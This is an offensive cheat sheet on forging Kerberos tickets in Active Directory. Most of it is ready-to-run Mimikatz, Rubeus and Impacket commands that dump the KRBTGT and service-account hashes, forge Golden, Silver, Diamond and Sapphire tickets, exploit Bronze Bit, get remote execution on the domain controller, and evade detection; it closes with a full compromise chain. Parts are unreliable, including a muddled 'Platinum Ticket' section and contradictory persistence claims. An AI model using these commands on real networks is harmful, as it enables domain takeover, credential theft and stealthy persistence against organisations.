Kerberos Ticket Attacks

Legend: [GOLDEN] = Golden Ticket | [SILVER] = Silver Ticket | [DIAMOND] = Diamond Ticket | [SAPPHIRE] = Sapphire Ticket | [PLATINUM] = Platinum Ticket | [BRONZE] = Bronze Bit attack | [FORGE] = Ticket forging | [PERSIST] = Persistence technique | [MIMI] = Mimikatz | [RUBEUS] = Rubeus tool | [DETECT] = Detection

1. Kerberos Architecture Overview

What it means: Kerberos is the default authentication protocol in Active Directory. Understanding the ticket flow is ESSENTIAL — every ticket attack abuses a specific step in this process by forging or manipulating tickets using stolen cryptographic keys.

1.1 Kerberos Authentication Flow

┌──────────────────────────────────────────────────────────────────────────────┐
│                           KERBEROS TICKET FLOW                               │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   Client            KDC (Domain Controller)               Service            │
│                     ├──────────────┬──────────────┤                          │
│                     │      AS      │      TGS     │                          │
│                                                                              │
│   │                 │              │              │                          │
│   │── AS-REQ ──────►│              │              │                          │
│   │                 │              │              │                          │
│   │◄─ AS-REP ──────│               │              │                          │
│   │                 │              │              │                          │
│   │── TGS-REQ ─────────────────-──►│              │                          │
│   │                 │              │              │                          │
│   │◄─ TGS-REP ───────────────-──── │              │                          │
│   │                 │              │              │                          │
│   │── AP-REQ ────────────────-───────────────────────────────►│              │
│   │                 │              │              │           │              │
│   │◄─ AP-REP ──────────────--─────────────────────────────────│              │
│   │                 │              │              │           │              │
│                                                                              │
├──────────────────────────────────────────────────────────────────────────────┤
│ KEY SECRETS:                                                                 │
│                                                                              │
│   • KRBTGT hash        → Forge TGT        (Golden Ticket)                    │
│   • Service NTLM hash  → Forge Ticket     (Silver Ticket)                    │
│   • AES keys           → Modern stealth attacks                              │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

1.2 Ticket Types

TGT (Ticket Granting Ticket):
├── Encrypted with: KRBTGT hash (AES256/RC4)
├── Contains: user identity, PAC (Privilege Attribute Certificate)
├── Validity: 10 hours (default)
└── Used to: request Service Tickets from TGS

Service Ticket (TGS):
├── Encrypted with: Target service account NTLM hash
├── Contains: user identity, PAC, session key
├── Validity: 10 hours (default)
└── Used to: authenticate directly to a specific service

PAC (Privilege Attribute Certificate):
├── Contains: group memberships, SIDs, user rights
├── Signed by: KRBTGT key (KDC signature) + service key
└── Critical: manipulating PAC = changing permissions!

1.3 Ticket Attack Comparison

┌──────────────┬────────────────┬──────────────────┬────────────────┬────────────┐
│    Attack    │    Requires    │      Forges      │  KDC Contact   │ Detectable │
├──────────────┼────────────────┼──────────────────┼────────────────┼────────────┤
│ Golden       │ KRBTGT hash    │ TGT              │ NO             │ Medium     │
│ Silver       │ Service hash   │ Service TKT      │ NO             │ Low        │
│ Diamond      │ KRBTGT hash    │ Real TGT + mod   │ YES            │ Very Low   │
│ Sapphire     │ KRBTGT hash    │ Real TGT + PAC   │ YES            │ Very Low   │
│ Platinum     │ KRBTGT AES     │ PAC only         │ YES            │ Very Low   │
│ Bronze Bit   │ Service hash   │ Delegation       │ YES            │ Low        │
└──────────────┴────────────────┴──────────────────┴────────────────┴────────────┘

2. Required Hashes & How to Get Them

What it means: Every ticket attack needs specific cryptographic material extracted from the Domain Controller. Getting these hashes IS the domain compromise — once you have them, all ticket attacks become possible.

2.1 KRBTGT Hash — Required for Golden/Diamond/Sapphire/Platinum

# ─── Method 1: DCSync (most common, no DC access needed) ───
# Requires: Domain Admin OR DCSync rights (GenericAll/WriteDACL on domain)

# Mimikatz:
.\mimikatz.exe
lsadump::dcsync /domain:corp.local /user:krbtgt
# Output:
# Hash NTLM: <32-char NTLM hash>       ← this is what you need!
# aes256_hmac: <64-char AES key>        ← needed for stealth attacks
# aes128_hmac: <32-char AES key>

# Single command:
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit

# Impacket from Linux:
impacket-secretsdump -just-dc-user krbtgt corp.local/DomainAdmin:Password@DC01
# or with hash:
impacket-secretsdump -just-dc-user krbtgt \
  -hashes :NTLM_HASH corp.local/DomainAdmin@DC01

# ─── Method 2: NTDS.dit dump (if on DC) ───
# Get volume shadow copy → extract NTDS.dit → parse
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL | grep krbtgt

# ─── Method 3: Mimikatz on DC directly ───
.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit
# Find: krbtgt → copy NTLM hash

# ─── Collect key info needed ───
# Domain SID:
whoami /user   # look at SID, remove last part (RID)
# OR:
Get-ADDomain | Select-Object DomainSID
# SID format: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX

2.2 Service Account Hash — Required for Silver Ticket

# ─── DCSync for specific service account ───
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /user:svc_sql" exit
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /user:DC01$" exit  # for host-based services

# ─── Common service accounts to target ───
# DC01$         → CIFS, HOST, LDAP on the DC
# svc_sql$      → MSSQL service
# svc_iis$      → HTTP/IIS service
# svc_exchange$ → Exchange services
# Administrator → many services

# ─── From local SAM (if on target machine) ───
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# OR
.\mimikatz.exe "token::elevate" "lsadump::sam" exit

3. Golden Ticket Attack

What it means: A Golden Ticket is a forged TGT (Ticket Granting Ticket) created offline using the KRBTGT account's NTLM hash. Since the KDC trusts any validly signed TGT, a Golden Ticket grants domain-wide access as ANY user — including non-existent users — for up to 10 years. This is the ultimate AD persistence technique.

3.1 What Makes It "Golden"

Normal TGT:
├── Created BY the KDC (Domain Controller)
├── Encrypted with KRBTGT hash
├── Valid: 10 hours
└── PAC signed and verified

Golden Ticket:
├── Created BY THE ATTACKER offline
├── Encrypted with STOLEN KRBTGT hash (KDC can't tell difference!)
├── Valid: up to 10 YEARS (we control the expiry!)
├── Can claim ANY username, ANY group membership
├── Can contain: Domain Admins, Enterprise Admins, Schema Admins
└── KDC NEVER CONTACTED to create it → no logs on DC!

3.2 Golden Ticket with Mimikatz

:: ─── Prerequisites ───
:: KRBTGT NTLM hash:    <32-char hash>
:: Domain SID:           S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
:: Domain FQDN:          corp.local
:: Target username:      any (use Administrator or a real username for stealth)

:: ─── Step 1: Forge the Golden Ticket ───
.\mimikatz.exe
privilege::debug
kerberos::golden /domain:corp.local \
                 /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
                 /rc4:<KRBTGT_NTLM_HASH> \
                 /user:Administrator \
                 /id:500 \
                 /groups:512,513,518,519,520 \
                 /ptt
:: /ptt = Pass-The-Ticket (inject into current session immediately)
:: /groups: 512=Domain Admins, 519=Enterprise Admins, 518=Schema Admins

:: ─── Without /ptt → save to file first ───
kerberos::golden /domain:corp.local \
                 /sid:S-1-5-21-... \
                 /rc4:<KRBTGT_HASH> \
                 /user:Administrator \
                 /ticket:golden.kirbi   :: ← save to file

:: ─── Then inject later ───
kerberos::ptt golden.kirbi

:: ─── Verify ticket injected ───
kerberos::list
klist

:: ─── Use it! Access any resource ───
dir \\DC01\C$                  :: admin share on DC
dir \\DC01\ADMIN$
PsExec.exe \\DC01 cmd.exe      :: remote execution on DC
Enter-PSSession DC01           :: WinRM into DC

3.3 Golden Ticket with Rubeus

# ─── Forge + inject ───
.\Rubeus.exe golden /rc4:<KRBTGT_HASH> \
                    /domain:corp.local \
                    /sid:S-1-5-21-... \
                    /user:Administrator \
                    /ptt

# ─── With AES256 (more stealthy) ───
.\Rubeus.exe golden /aes256:<KRBTGT_AES256> \
                    /domain:corp.local \
                    /sid:S-1-5-21-... \
                    /user:Administrator \
                    /ptt

# ─── With extra groups (Enterprise Admin) ───
.\Rubeus.exe golden /aes256:<KRBTGT_AES256> \
                    /domain:corp.local \
                    /sid:S-1-5-21-... \
                    /user:FakeUser \
                    /groups:512,513,519 \
                    /dc:DC01.corp.local \
                    /ptt

# ─── Cross-domain Golden Ticket (forest persistence) ───
.\Rubeus.exe golden /aes256:<KRBTGT_AES256> \
                    /domain:child.corp.local \
                    /sid:S-1-5-21-CHILD-SID \
                    /user:Administrator \
                    /sids:S-1-5-21-PARENT-SID-519 \  :: ← Enterprise Admins SID!
                    /ptt
:: /sids adds extra SID to PAC → parent domain Enterprise Admin!

3.4 Golden Ticket from Linux

# ─── Impacket: ticketer ───
impacket-ticketer -nthash <KRBTGT_NTLM_HASH> \
                  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
                  -domain corp.local \
                  Administrator

# Outputs: Administrator.ccache

# ─── Use the ticket ───
export KRB5CCNAME=./Administrator.ccache

impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local
impacket-secretsdump -k -no-pass DC01.corp.local
impacket-wmiexec -k -no-pass corp.local/Administrator@DC01.corp.local

3.5 Golden Ticket Persistence

Persistence value:
├── KRBTGT password rarely changed (stays valid for years!)
├── Even if user's password changes → Golden Ticket still valid
├── Survives domain password resets (only KRBTGT reset kills it)
├── Reset KRBTGT password TWICE to invalidate existing Golden Tickets
└── Maximum persistence in AD → must be in IR playbook

KRBTGT reset doesn't immediately help:
├── Reset 1: Old tickets still valid (TGT from old key still works briefly)
└── Reset 2 (wait 10 hours): Invalidates all old keys
→ Must reset KRBTGT hash TWICE with 10-hour gap!

4. Silver Ticket Attack

What it means: A Silver Ticket is a forged Service Ticket (TGS) created using a specific service account's NTLM hash. Unlike Golden Tickets, Silver Tickets bypass the KDC entirely — the service validates the ticket itself using its own hash. More targeted but stealthier since the KDC is never involved.

4.1 Silver vs Golden

Silver Ticket Advantages:
├── No KDC traffic generated (completely offline)
├── Harder to detect (no TGS-REQ logged at DC)
├── Only need one service account hash (easier to get)
└── Services validate tickets themselves → no central logging

Silver Ticket Limitations:
├── Only works for ONE specific service
├── Service must trust the ticket (no PAC validation for some)
└── Scope limited to the targeted service

4.2 Common Silver Ticket Targets

SPN / Service What You Get Service Account
──────────────────────────────────────────────────────────────────
CIFS/DC01 File shares (C$) DC01$ (machine acct)
HOST/DC01 Remote tasks, WMI DC01$
HTTP/webserver IIS web access svc_iis or machine
MSSQL/sqlserver SQL database access svc_sql or machine
LDAP/DC01 LDAP queries DC01$
RPCSS/DC01 WMI access DC01$
WSMAN/DC01 WinRM / PS Remoting DC01$

Most powerful: CIFS + HOST on DC → full DC file + exec access!

4.3 Silver Ticket with Mimikatz

:: ─── Prerequisites ───
:: Service account NTLM hash
:: Domain SID
:: Target SPN (service/hostname)
:: Domain FQDN

:: ─── Forge CIFS Silver Ticket (file share access) ───
.\mimikatz.exe
kerberos::golden /domain:corp.local \
                 /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
                 /rc4:<SERVICE_ACCOUNT_NTLM_HASH> \
                 /user:Administrator \
                 /service:cifs \
                 /target:DC01.corp.local \
                 /ptt

:: ─── Verify + use ───
klist
dir \\DC01.corp.local\C$       :: Full DC file system access!
dir \\DC01.corp.local\ADMIN$

:: ─── HOST Silver Ticket (remote execution) ───
kerberos::golden /domain:corp.local \
                 /sid:S-1-5-21-... \
                 /rc4:<DC01_MACHINE_HASH> \
                 /user:Administrator \
                 /service:host \
                 /target:DC01.corp.local \
                 /ptt

:: Then:
schtasks /create /s DC01.corp.local /tn "backdoor" /tr "cmd /c ..."
at \\DC01.corp.local 12:00 cmd.exe  :: remote task!

:: ─── MSSQL Silver Ticket ───
kerberos::golden /domain:corp.local \
                 /sid:S-1-5-21-... \
                 /rc4:<SVC_SQL_HASH> \
                 /user:dba_admin \
                 /service:MSSQLSvc \
                 /target:SQLSERVER.corp.local:1433 \
                 /ptt

:: Connect to SQL with injected ticket:
sqlcmd -S SQLSERVER.corp.local -Q "SELECT SYSTEM_USER"
:: Returns: dba_admin (as we specified in ticket!)

:: ─── LDAP Silver Ticket (DCSync without DA!) ───
kerberos::golden /domain:corp.local \
                 /sid:S-1-5-21-... \
                 /rc4:<DC01_MACHINE_HASH> \
                 /user:Administrator \
                 /service:ldap \
                 /target:DC01.corp.local \
                 /ptt

:: Now perform DCSync via LDAP:
lsadump::dcsync /domain:corp.local /user:krbtgt
:: → Dump krbtgt hash using LDAP Silver Ticket!

4.4 Silver Ticket with Rubeus

# ─── Forge Silver Ticket ───
.\Rubeus.exe silver /service:cifs/DC01.corp.local \
                    /rc4:<SERVICE_HASH> \
                    /sid:S-1-5-21-... \
                    /domain:corp.local \
                    /user:Administrator \
                    /ptt

# ─── AES256 version (stealth) ───
.\Rubeus.exe silver /service:host/DC01.corp.local \
                    /aes256:<SERVICE_AES256> \
                    /sid:S-1-5-21-... \
                    /domain:corp.local \
                    /user:Administrator \
                    /ptt

4.5 Silver Ticket from Linux

# ─── Impacket ticketer (Silver Ticket) ───
impacket-ticketer -nthash <SERVICE_ACCOUNT_NTLM_HASH> \
                  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
                  -domain corp.local \
                  -spn cifs/DC01.corp.local \
                  Administrator

export KRB5CCNAME=./Administrator.ccache
impacket-smbclient -k -no-pass DC01.corp.local
# → Access DC file shares with forged Silver Ticket!

5. Diamond Ticket Attack

What it means: A Diamond Ticket requests a REAL, LEGITIMATE TGT from the KDC (so it passes all validation checks), then DECRYPTS it using the KRBTGT hash and modifies the PAC to add privileged group memberships, then RE-ENCRYPTS it. The result looks nearly identical to a legitimate ticket — much harder to detect than a Golden Ticket since it has valid KDC metadata, timestamps, and structure.

5.1 Golden vs Diamond

Golden Ticket:
├── Entirely forged offline
├── Timestamps may be suspicious
├── Ticket metadata doesn't match KDC records
└── Detectable by: anomalous TGT properties

Diamond Ticket:
├── REAL TGT from KDC (legitimate base!)
├── Only PAC is modified (group memberships)
├── All KDC metadata is genuine
├── Timestamps are real (from actual auth)
└── Extremely hard to distinguish from legit ticket!

5.2 Diamond Ticket with Rubeus

# ─── Diamond Ticket (RC4) ───
.\Rubeus.exe diamond /rc4:<KRBTGT_NTLM_HASH> \
                     /domain:corp.local \
                     /dc:DC01.corp.local \
                     /user:lowprivuser \
                     /password:LowPrivPassword \
                     /groups:512 \    :: add to Domain Admins!
                     /ptt

# ─── Diamond Ticket (AES256 — most stealthy) ───
.\Rubeus.exe diamond /aes256:<KRBTGT_AES256_KEY> \
                     /domain:corp.local \
                     /dc:DC01.corp.local \
                     /user:lowprivuser \
                     /password:LowPrivPassword \
                     /groups:512,519 \
                     /ptt

# ─── Using existing TGT (from current session) ───
.\Rubeus.exe diamond /aes256:<KRBTGT_AES256_KEY> \
                     /domain:corp.local \
                     /dc:DC01.corp.local \
                     /krbkey:<KRBTGT_AES256> \
                     /tgtdeleg \          :: use delegated TGT
                     /groups:512 \
                     /ptt

# ─── What happens internally ───
# 1. Rubeus authenticates as lowprivuser → gets REAL TGT from KDC
# 2. Decrypts TGT PAC using KRBTGT hash
# 3. Modifies PAC: adds Group 512 (Domain Admins)
# 4. Re-encrypts PAC + TGT with KRBTGT hash
# 5. Injects modified-but-valid-looking TGT
# Result: KDC issued the base ticket → all metadata is legitimate!

6. Sapphire Ticket Attack

What it means: A Sapphire Ticket takes Diamond Tickets a step further — instead of just modifying the PAC, it STEALS the PAC from a real privileged user (e.g., Domain Admin) using S4U2Self + U2U (User-to-User) Kerberos extension, then injects that legitimate PAC into the forged ticket. The PAC is 100% authentic — taken directly from a real DA's ticket.

6.1 Sapphire Ticket Concept

Diamond Ticket: Real TGT base + MODIFIED PAC
↓
Sapphire Ticket: Real TGT base + STOLEN REAL PAC from DA
↓
Result: Indistinguishable from a real Domain Admin TGT!
Even PAC validation tools find nothing suspicious.

6.2 Sapphire Ticket with Rubeus

# ─── Sapphire Ticket ───
# Steals DA's PAC via S4U2Self + U2U, injects into our ticket

.\Rubeus.exe diamond /aes256:<KRBTGT_AES256_KEY> \
                     /domain:corp.local \
                     /dc:DC01.corp.local \
                     /user:lowprivuser \
                     /password:LowPrivPassword \
                     /impersonateuser:DomainAdmin \  :: ← steal THIS user's PAC
                     /ptt

# ─── What happens ───
# 1. Authenticate as lowprivuser → get real TGT
# 2. S4U2Self: request service ticket impersonating DomainAdmin
# 3. U2U: decrypt with our session key → extract DA's PAC
# 4. Replace our PAC with DA's real PAC
# 5. Re-encrypt with KRBTGT key → inject
# Result: Our TGT now has domain admin's EXACT legitimate PAC!

7. Platinum Ticket Attack

What it means: Platinum Ticket is the most advanced and stealthiest ticket attack. Rather than forging entire tickets, it abuses the Kerberos S4U2Self extension to request tickets that look completely legitimate — the KDC issues real tickets, no forgery at all. Requires KRBTGT AES keys and targets PAC-less or RBCD scenarios.

7.1 Platinum Ticket Concept

Previous attacks: Forge/modify tickets → detectable by anomaly
Platinum Ticket: KDC issues REAL ticket → no forgery at all!

Mechanism:
├── Abuse S4U2Self (Service-for-User-to-Self)
├── KDC issues a legitimate service ticket
├── No offline forgery → no timestamp anomalies
├── No modified PAC → PAC validation passes
└── Hardest to detect of all ticket attacks

Requirement:
└── KRBTGT AES256 key (not just NTLM hash)
→ Needed to manipulate PAC checksum algorithms

7.2 Platinum Ticket Context

# Platinum Ticket abuses the PAC checksum signature scheme
# The "Server Signature" in PAC is signed with SERVICE key
# The "KDC Signature"  in PAC is signed with KRBTGT key

# Attack: If you have KRBTGT AES key:
# → Create ticket via S4U2Self
# → Modify PAC group memberships
# → Recompute BOTH PAC signatures correctly (need KRBTGT AES)
# → KDC issued base ticket + correct signatures = undetectable!

# Tool: Impacket's ticketer with --aesKey flag
impacket-ticketer -aesKey <KRBTGT_AES256> \
                  -domain-sid S-1-5-21-... \
                  -domain corp.local \
                  -extra-sid S-1-5-21-...-519 \   # Enterprise Admins
                  Administrator

export KRB5CCNAME=./Administrator.ccache
impacket-psexec -k -no-pass DC01.corp.local

8. Bronze Bit Attack

What it means: CVE-2020-17049 — Bronze Bit allows an attacker with a service account hash to forge a Kerberos delegation ticket, bypassing the "not delegatable" protection on sensitive accounts. Even accounts marked as "Account is sensitive and cannot be delegated" can be impersonated via constrained delegation.

8.1 Bronze Bit Explained

Normal Kerberos Delegation:
Service → requests ticket on behalf of user (impersonation)
BUT: "sensitive" accounts (like DA) cannot be delegated!
Protected by: "not delegatable" flag in forwardable bit

Bronze Bit (CVE-2020-17049):
Attacker has service account with constrained delegation
Attacker FORGES the "forwardable" bit in the service ticket
→ Suddenly the "not delegatable" protection is BYPASSED!
→ Can impersonate Domain Admins via delegation!

Requirements:
├── Service account NTLM hash with constrained delegation configured
├── Target user (even "sensitive" accounts!)
└── Rubeus + RC4/AES hash of service account

8.2 Bronze Bit with Rubeus

# ─── Check for constrained delegation ───
# Find accounts with constrained delegation:
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties *
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties *
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties *

# Bloodhound: look for "Allowed to Delegate" edges

# ─── Bronze Bit Exploit ───
# Scenario: svc_iis has constrained delegation to CIFS/DC01
# We want to impersonate DA (who is "sensitive, not delegatable")

# Step 1: Get S4U2Self ticket for the DA
.\Rubeus.exe s4u /user:svc_iis \
               /rc4:<SVC_IIS_HASH> \
               /impersonateuser:DomainAdmin \
               /domain:corp.local \
               /dc:DC01.corp.local \
               /msdsspn:cifs/DC01.corp.local \
               /bronzebit \           :: ← enable Bronze Bit!
               /ptt

# /bronzebit tells Rubeus to forge the forwardable bit
# → Bypasses "Account is sensitive and cannot be delegated"!

# Step 2: Use the ticket
dir \\DC01.corp.local\C$    :: Access DC as Domain Admin!

9. Pass-the-Ticket

What it means: Pass-the-Ticket (PtT) injects a Kerberos ticket (TGT or TGS) directly into your current Windows session's memory, allowing you to use that ticket for authentication without knowing the account's password.

9.1 Dump Existing Tickets

:: ─── Dump tickets from memory ───
.\mimikatz.exe "sekurlsa::tickets /export" exit
:: Exports all tickets to .kirbi files in current directory!

:: Using Rubeus:
.\Rubeus.exe dump           :: dump all tickets (base64)
.\Rubeus.exe dump /nowrap   :: cleaner output
.\Rubeus.exe triage         :: list tickets without dumping

:: ─── Check current tickets ───
klist               :: Windows built-in
.\Rubeus.exe klist  :: Rubeus version (more detail)

9.2 Inject Tickets

:: ─── Mimikatz: inject .kirbi file ───
.\mimikatz.exe "kerberos::ptt ticket.kirbi" exit

:: ─── Rubeus: inject base64 ticket ───
.\Rubeus.exe ptt /ticket:<BASE64_TICKET>

:: ─── Rubeus: inject from .kirbi file ───
.\Rubeus.exe ptt /ticket:ticket.kirbi

:: ─── Purge current tickets (before injecting) ───
.\Rubeus.exe purge      :: clear all tickets
klist purge             :: Windows built-in

9.3 Overpass-the-Hash (PtT via NTLM)

:: Convert NTLM hash → Kerberos ticket → inject
.\mimikatz.exe "sekurlsa::pth /user:Administrator \
               /domain:corp.local /ntlm:<HASH> /run:cmd.exe" exit
:: Opens new cmd.exe with Kerberos ticket for Administrator!

:: Rubeus version:
.\Rubeus.exe asktgt /user:Administrator \
                    /rc4:<NTLM_HASH> \
                    /domain:corp.local \
                    /ptt
:: Requests TGT using hash → injects automatically

10. Detection & Evasion

10.1 Detection Signatures

Golden Ticket Detection:
├── Event ID 4769 with Ticket Encryption Type 0x17 (RC4) → use AES!
├── Account does not exist in AD
├── TGT lifetime > 10 hours (if using default settings)
├── Missing or anomalous PAC signatures
└── SID History with unexpected SIDs

Silver Ticket Detection:
├── Service ticket with no corresponding TGT-REQ (no TGS-REQ in DC logs)
├── Event ID 4627 anomalies
└── Tools like Microsoft ATA / Defender for Identity detect offline ST

Diamond/Sapphire Detection (much harder):
├── S4U2Self requests from unusual accounts
├── U2U Kerberos extensions used unexpectedly
└── ATA/MDI behavioral analytics may catch over time

Event IDs to monitor:
4768 → Kerberos TGT requested
4769 → Kerberos Service Ticket requested
4771 → Kerberos pre-authentication failed
4672 → Special privileges assigned (admin logon)
4627 → Group membership enumeration

10.2 Evasion Best Practices

# ─── Use AES256 over RC4 (RC4 = huge red flag) ───
# BAD:  /rc4:<HASH>    → RC4 tickets are anomalous on modern AD
# GOOD: /aes256:<KEY>  → AES256 matches legitimate ticket encryption

# ─── Realistic ticket lifetimes ───
# BAD:  /endin:99999   → 10-year ticket = obvious
# GOOD: /endin:600     → 10 hours (default), /renewmax:10080 (7 days)

.\Rubeus.exe golden /aes256:<KEY> \
                    /domain:corp.local \
                    /sid:S-1-5-21-... \
                    /user:Administrator \
                    /endin:600 \         :: 10 hours = normal!
                    /renewmax:10080 \    :: 7 day renewal = normal!
                    /ptt

# ─── Use existing username (not fake) ───
# BAD:  /user:NonExistentHacker
# GOOD: /user:john.smith    → real user, just elevated PAC

# ─── Diamond > Golden for stealth ───
# Golden = fully forged (more detectable)
# Diamond = real base + modified PAC (much stealthier)

# ─── Prefer Silver over Golden when possible ───
# Smaller blast radius, no KDC traffic anomalies

# ─── Inject ticket in new session (avoid contamination) ───
.\Rubeus.exe createnetonly /program:cmd.exe /show
# → Creates new logon session
.\Rubeus.exe ptt /ticket:<TICKET> /luid:0x1234  :: target specific LUID

11. Complete Cheat Sheet

11.1 Attack Requirements Summary

Attack Hash Needed Tool Stealth
─────────────────────────────────────────────────────────────────────
Golden KRBTGT NTLM/AES256 Mimikatz/Rubeus Medium
Silver Service NTLM/AES256 Mimikatz/Rubeus High
Diamond KRBTGT AES256 Rubeus Very High
Sapphire KRBTGT AES256 Rubeus Highest
Platinum KRBTGT AES256 Impacket Highest
Bronze Bit Service NTLM + delegation Rubeus High

11.2 One-Line Commands

# Get KRBTGT hash (from DA)
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit

# Golden Ticket (AES - stealth)
.\Rubeus.exe golden /aes256:<KRBTGT_AES> /domain:corp.local /sid:<SID> /user:Administrator /ptt

# Silver Ticket (CIFS - file access)
.\Rubeus.exe silver /service:cifs/DC01.corp.local /rc4:<SVC_HASH> /sid:<SID> /domain:corp.local /user:Administrator /ptt

# Diamond Ticket (stealthiest forgery)
.\Rubeus.exe diamond /aes256:<KRBTGT_AES> /domain:corp.local /dc:DC01.corp.local /user:lowuser /password:pass /groups:512 /ptt

# Dump all tickets
.\Rubeus.exe dump /nowrap

# Inject ticket
.\Rubeus.exe ptt /ticket:<BASE64_OR_FILE>

# Purge tickets
.\Rubeus.exe purge

11.3 Full Attack Chain

Get initial foothold (phish, exploit)
↓
Local privesc (SeImpersonate → GodPotato → SYSTEM)
↓
Dump local creds (Mimikatz sekurlsa::logonpasswords)
↓
Find DA credentials / session → lateral move to DC
↓
DCSync: dump KRBTGT hash + AES keys
mimikatz "lsadump::dcsync /user:krbtgt"
↓
Forge Diamond Ticket (most stealthy)
Rubeus diamond /aes256: /groups:512 /ptt
↓
Access DC, dump NTDS.dit, full domain compromise
↓
Persistence: Golden Ticket (10hr validity, lasts forever)
↓
Even if KRBTGT reset once → still valid!
(Needs 2x reset with 10hr gap to invalidate)

11.4 Ticket Attack Decision Tree

Do you have KRBTGT hash?
├── YES ─────────────────────────────────────────────┐
│ ▼
│ Need stealth? Have AES256 key?
│ ├── NO → Golden Ticket (easy, fast) ├── YES → Diamond/Sapphire
│ └── YES → Diamond Ticket (real base) └── NO → Golden (RC4)
│ └── NO
Do you have a service account hash?
├── YES ─────────────────────────────────────────┐
│ What service? ▼
│ ├── CIFS/HOST → Silver Ticket (file+exec)
│ ├── MSSQL → Silver Ticket (SQL access)
│ ├── LDAP → Silver Ticket (DCSync!)
│ └── Has delegation? → Bronze Bit attack
│
└── NO → Need to escalate first (Potato/other privesc)

Golden Ticket (KRBTGT hash) → Survives ALL password resets except 2x KRBTGT reset Silver Ticket (Service hash) → Survives until service account password reset Diamond Ticket (KRBTGT AES) → Same as Golden but undetectable Sapphire Ticket (KRBTGT AES) → Same persistence, legitimate PAC = hardest to detect